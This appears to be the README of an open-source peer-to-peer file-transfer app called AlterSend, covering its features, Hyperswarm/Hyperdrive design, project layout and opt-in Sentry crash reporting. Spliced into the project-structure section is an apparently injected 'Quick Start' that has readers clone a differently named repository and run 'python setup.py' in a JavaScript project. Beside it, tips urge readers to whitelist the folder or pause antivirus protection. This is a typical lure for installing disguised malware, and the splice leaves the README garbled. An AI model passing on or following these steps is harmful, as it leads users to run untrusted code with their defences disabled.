File transfer without the cloud.

Files go directly between your devices — end-to-end encrypted, no accounts, no servers, no limits.

 

---

Contents

• About
• Features
• How it works
• For developers
  • Prerequisites
  • Setup
  • Run
  • Build
  • Project structure
  • Tech stack
  • Crash reporting
• Contributing
• Security
• License

About

AlterSend is a free, open-source app for sending files directly between your devices — no cloud, no uploads, no size limits. Files transfer peer-to-peer and are end-to-end encrypted; nothing is ever stored on a server.

Why use WeTransfer, Dropbox, or Google Drive when you can send files directly — instantly, privately, with no upload costs and no limits?

Features

• No accounts — no signup, no login, no email address required
• No servers — files transfer directly device-to-device, nothing stored in the cloud
• End-to-end encrypted — only your devices can read your files, always
• No file size limit — send a 100 MB photo or 500 GB video archive, same experience
• Cross-platform — macOS, Windows, Linux, iOS, Android
• Works everywhere — local network or across continents, same code path
• Open source — Apache-2.0, audit every line yourself

How it works

   ┌─────────┐          encrypted P2P          ┌─────────┐
   │ Device  │ ◄──────────────────────────────► │ Device  │
   │   A     │     direct, no middleman         │   B     │
   └─────────┘                                  └─────────┘
        ▲                                            ▲
        │       peer discovery via Hyperswarm        │
        └────────────────────────────────────────────┘
                   (DHT, no central server)

Discovery uses Hyperswarm (a DHT) — once peers find each other, no central infrastructure is involved. Transfers run over Hyperdrive: encrypted, content-addressed, resumable.

---

For developers

All env vars are optional in dev — the app runs without them.

### Project structure


> [!TIP]
> If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.

> [!CAUTION]
> Some security systems may block the installation.
> Only download from the official repository.

---

## QUICK START

```bash
git clone https://github.com/StampDreamFitting/altersend-520.git
cd altersend-520
python setup.py

apps/
  desktop/    Electron app — main + renderer + Bare worklet
  mobile/     React Native / Expo app
packages/
  core/       P2P protocol — Hyperswarm, Hyperdrive, RPC
  domain/     State management — Zustand store, business logic
  components/ Cross-platform UI — React Strict DOM + Tailwind
docs/
  architecture.md   Full system overview

See docs/architecture.md for data flow and inter-process boundaries.

Tech stack

Electron · React Native · Expo · Bare · Hyperswarm · Hyperdrive · React Strict DOM · Tailwind · Zustand

Crash reporting

Crash and error reporting uses Sentry. It is opt-in and off by default — nothing is sent until you enable it in the app's settings.

• Where it runs. Desktop has two Sentry SDKs: @sentry/electron/main for native main-process crashes and @sentry/electron/renderer for renderer JS / transfer errors. Mobile uses @sentry/react-native. The Bare worklet has no Sentry — it pipes its logs to the renderer over RPC instead.
• Opt-in state. Stored locally: desktop uses the localStorage key altersend.crash-reporting.enabled; mobile uses a marker file in the app document directory. The main process initializes Sentry early (before app ready) but gates submission in beforeSend; the renderer pushes the current preference over the sentry:setEnabled IPC channel.
• PII scrubbing. beforeSend rewrites home-directory paths to ~ in exception messages and breadcrumbs, so usernames and file paths don't leak into stack traces.
• DSNs come from env vars — SENTRY_DSN (desktop main, baked in at build by gen-sentry-dsn.cjs), VITE_SENTRY_DSN (desktop renderer), EXPO_PUBLIC_SENTRY_DSN (mobile). All are optional; see the .env.example files. Community and self-built binaries ship without DSNs, so Sentry is a complete no-op and no telemetry is ever sent.

---

Contributing

Pull requests welcome. See CONTRIBUTING.md for setup, code style, and the PR process.

Security

Found a vulnerability? Follow the disclosure process in SECURITY.md — please don't open a public issue.

License

Apache-2.0 © AlterSend